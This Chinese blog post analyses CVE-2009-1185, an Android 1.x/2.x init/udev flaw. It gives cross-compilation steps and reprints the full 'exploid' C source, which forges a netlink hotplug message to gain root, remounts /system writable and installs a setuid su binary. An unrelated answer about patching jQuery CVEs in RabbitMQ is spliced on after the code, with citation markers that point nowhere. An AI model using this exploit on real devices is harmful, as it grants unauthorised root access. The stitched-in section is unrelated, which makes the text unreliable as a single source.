安卓root漏洞分析——CVE-2009-1185

本文详细探讨了Android中的一个内核级别漏洞CVE-2009-1185,该漏洞存在于1.x/2.x版本中,允许恶意应用通过udev机制以root权限执行操作。通过分析利用代码和编译过程,展示了如何在受影响的设备上利用该漏洞将system分区挂载为读写模式。实验在不同设备上进行,如HTC G3(2.1系统成功,2.2系统失败)和华为C8650/U8860(2.3系统无效)。

漏洞属于Linux内核级别的漏洞,在android 1.x/2.x版本中同样存在,可以用于系统提权。

Android中使用了udev及机制来执行热插拔,不过它的机制是在init code中实现的,与普通的Linux版本有所不同。其机制是,当有一个设备插入android终端后,会通过socket给init发送一个消息,消息里包含了执行动作的描述,通常是创建某种设备文件,因此init在执行这些操作时,使用的是root权限。问题在于,udev机制中并没有检查消息的来源是否来自内核。如果一个普通的应用给init发送一个udev消息,消息中的动作同样会被以root权限执行。

有幸在http://www.exploit-db.com/exploits/16099/上找到了利用代码源码,在本博文的最后也会将源码贴出。下面大概对利用过程进行一下说明。

这是一个c文件,因此想要编译链接成功这个代码的话需要交叉编译环境。我下载使用的是ndk-r8,交叉编译工具在

$NDK根路径\toolchains\arm-linux-androideabi-4.7\prebuilt\windows\bin


此处的arm-linux-androideabi-4.7应该是交叉编译工具的版本,博主不很明了各个的区别,但是至少应该选择arm-linux-androideabi-为起始的。

这里可以

(1). 直接用以上路径文件夹下的gcc运行类似

gcc -c -o test test.c

的命令进行编译连接。

(2). 书写Android.mk文件如下:

LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE    := test
LOCAL_SRC_FILES := test.c
include $(BUILD_EXECUTABLE)

并将Android.mk和test.c文件放到命名为jni的文件夹中,并运行“ndk-build”命令。则将在“jni上层目录\obj\local\armeabi”编译连接出二进制文件。

此处又有三点需要说明

  • 在编译源码之前需要进入手机的adb shell中,输入mount命令,查看system分区的具体信息,如下图,并根据信息,更改源码113行左右的函数参数。博主认为直接利用execl函数完成命令“mount -o remount,rw '' system”可以避免这个繁琐的修改过程,不过博主没有验证。


  • 如果不将Android.mk和test.c置于jni文件夹下,将有如下报错:

Android NDK: Could not find application project directory !
Android NDK: Please define the NDK_PROJECT_PATH variable to point to it.
E:\adt-bundle-windows-x86\android-ndk-r8d\build/core/build-local.mk:130: *** Android NDK: Aborting.  Stop.

和ndk环境没有配置成功一般。

  • Android.mk中的这句
    include $(BUILD_EXECUTABLE)

大意是将用于建立可执行文件的库文件引入,如果想要编译的是.so文件,则将这句换为

include $(BUILD_SHARED_LIBRARY)

以上不管哪种方法,生成的可执行文件,更改文件属性为755(Linux环境下更改,博主在windows下利用cygwin更改后传入无用,有些手机中也可以先传入手机再更改,但是在普通用户权限下不一定被允许更改文件属性)。将文件利用adb命令传入Android手机,注意,这里引用作者的说法“* This exploit requires /etc/firmware directory, e.g. it will run on real devices and not inside the emulator.”,更加深入的原因博主也未作深入研究。然后运行调用运行test文件即可。运行结果如下图


然后用户进入打开“飞行模式”“wifi”等方式就可以出发漏洞,将system分区挂在为读写,并将事先复制到sdcards中的su和Superuser.apk文件发复制到到system中。博主再次运行了mount命令进行验证。



最后说明,本次漏洞验证环境是htc g3(T^T穷娃娃用这种破手机做测试。。。),刷了2.2系统不成功,2.1下完美。华为C8650和U8860系统均为2.3.X,运行无效。

对于源码的具体分析由于博主能力有限,不做具体分析了。

/* android 1.x/2.x the real youdev feat. init local root exploit.
 * (C) 2009/2010 by The Android Exploid Crew.
 *
 * Copy from sdcard to /sqlite_stmt_journals/exploid, chmod 0755 and run.
 * Or use /data/local/tmp if available (thx to ioerror!) It is important to
 * to use /sqlite_stmt_journals directory if available.
 * Then try to invoke hotplug by clicking Settings->Wireless->{Airplane,WiFi etc}
 * or use USB keys etc. This will invoke hotplug which is actually
 * our exploit making /system/bin/rootshell.
 * This exploit requires /etc/firmware directory, e.g. it will
 * run on real devices and not inside the emulator.
 * I'd like to have this exploitet by using the same blockdevice trick
 * as in udev, but internal structures only allow world writable char
 * devices, not block devices, so I used the firmware subsystem.
 *
 * !!!This is PoC code for educational purposes only!!!
 * If you run it, it might crash your device and make it unusable!
 * So you use it at your own risk!
 *
 * Thx to all the TAEC supporters.
 */
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <signal.h>
#include <sys/mount.h>
 
 
#define SECRET "secretlol"
 
 
void die(const char *msg)
{
perror(msg);
exit(errno);
}
 
 
void copy(const char *from, const char *to)
{
int fd1, fd2;
char buf[0x1000];
ssize_t r = 0;
 
if ((fd1 = open(from, O_RDONLY)) < 0)
die("[-] open");
if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0)
die("[-] open");
for (;;) {
r = read(fd1, buf, sizeof(buf));
if (r < 0)
die("[-] read");
if (r == 0)
break;
if (write(fd2, buf, r) != r)
die("[-] write");
}
 
close(fd1);
close(fd2);
sync(); sync();
}
 
 
void clear_hotplug()
{
int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC);
write(ofd, "", 1);
close(ofd);
}
 
 
int main(int argc, char **argv, char **env)
{
char buf[512], path[512];
int ofd;
struct sockaddr_nl snl;
struct iovec iov = {buf, sizeof(buf)};
struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};
int sock;
char *basedir = NULL;
 
 
/* I hope there is no LD_ bug in androids rtld :) */
/*if (geteuid() == 0 && getuid() != 0)
rootshell(env);*/
 
if (readlink("/proc/self/exe", path, sizeof(path)) < 0)
die("[-] readlink");
 
if (geteuid() == 0) {
clear_hotplug();
/* remount /system rw */
//DROID 1 and Ally
//mount("/dev/block/mtdblock4", "/system", "yaffs2", MS_REMOUNT, 0);
//DROID X
//mount("/dev/block/mmcblk1p21", "/system", "ext3", MS_REMOUNT, 0);
//GALAXY S
mount("/dev/block/stl9","/system", "rfs", MS_REMOUNT, 0);
//Eris and HTC Hero
//mount("/dev/block/mtdblock3", "/system", "yaffs2", MS_REMOUNT, 0);
//copy("/sdcard/su","/system/bin/su");
//copy("/sdcard/Superuser.apk","/system/app/Superuser.apk");
copy("/data/data/com.unstableapps.easyroot/files/su","/system/bin/su");
copy("/data/data/com.unstableapps.easyroot/files/Superuser.apk","/system/app/Superuser.apk");
chmod("/system/bin/su", 04755);
chmod("/system/app/Superuser.apk", 04744);
 
for (;;);
}
 
//basedir = "/sqlite_stmt_journals";
basedir = "/data/data/com.unstableapps.easyroot/files";
if (chdir(basedir) < 0) {
basedir = "/data/local/tmp";
if (chdir(basedir) < 0)
basedir = strdup(getcwd(buf, sizeof(buf)));
}
 
memset(&snl, 0, sizeof(snl));
snl.nl_pid = 1;
snl.nl_family = AF_NETLINK;
 
if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)
die("[-] socket");
 
close(creat("loading", 0666));
if ((ofd = creat("hotplug", 0644)) < 0)
die("[-] creat");
if (write(ofd, path , strlen(path)) < 0)
die("[-] write");
close(ofd);
symlink("/proc/sys/kernel/hotplug", "data");
snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"
        "SUBSYSTEM=firmware%c"
        "FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0);
printf("[+] sending add message ...\n");
if (sendmsg(sock, &msg, 0) < 0)
die("[-] sendmsg");
close(sock);
sleep(3);
return 0;
}


### RabbitMQ 中 jQuery 漏洞 CVE-2020-11022 和 CVE-2020-11023 的修复方法 RabbitMQ 提供了一个基于 Web 的管理界面(Management Plugin),该界面依赖于前端库(如 jQuery)来实现用户交互。CVE-2020-11022 和 CVE-2020-11023 是 jQuery 3.5.0 及以下版本中存在的安全漏洞,可能导致跨站脚本攻击(XSS)或执行恶意脚本[^2]。 由于 RabbitMQ 的官方镜像通常使用固定版本的前端资源,并且不提供直接更新前端库的机制,因此无法通过常规方式直接升级 jQuery。不过可以通过以下几种方式进行缓解和修复: #### 替换管理插件中的 jQuery 文件 RabbitMQ 的管理插件前端文件位于容器内的 `/usr/lib/rabbitmq/lib/rabbitmq_server-<version>/plugins/rabbitmq_management-<version>/priv/www` 路径下。可以将其中的 `jquery.min.js` 替换为 jQuery 3.5.1 或更高版本的文件,具体步骤如下: ```bash # 进入运行中的容器 docker exec -it rabbitmq sh # 定位到 jQuery 文件所在目录 cd /usr/lib/rabbitmq/lib/rabbitmq_server-*/plugins/rabbitmq_management-*/priv/www/js/libs/ # 备份旧文件 mv jquery.min.js jquery.min.js.bak # 下载并替换为新版 jQuery wget https://code.jquery.com/jquery-3.6.0.min.js -O jquery.min.js ``` 完成替换后,重启 RabbitMQ 容器以使更改生效: ```bash docker restart rabbitmq ``` 此方法可有效解决 jQuery 相关漏洞带来的风险,但需注意每次升级 RabbitMQ 镜像时都需要重新执行该操作。 #### 禁用管理插件并使用 API 接口替代 如果不需要使用 RabbitMQ 的 Web 管理界面,可以禁用 Management Plugin 以彻底消除前端组件的安全隐患: ```bash docker exec -it rabbitmq rabbitmq-plugins disable rabbitmq_management ``` 随后可通过 RabbitMQ 提供的 HTTP API 进行管理和监控操作,例如获取队列信息: ```bash curl -u admin:securepassword http://localhost:15672/api/queues ``` 这种方式适用于仅需程序访问而无需人工登录的生产环境,能显著降低攻击面[^1]。 #### 使用反向代理限制访问并注入 CSP 头 在部署 RabbitMQ 的环境中配置反向代理(如 Nginx 或 Traefik),并通过响应头注入内容安全策略(Content-Security-Policy),防止恶意脚本执行: ```nginx location / { proxy_pass http://rabbitmq_container; add_header Content-Security-Policy "script-src 'self'"; } ``` 这样即使存在 jQuery 漏洞,也能阻止外部脚本加载和执行,增强整体安全性[^3]。 ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值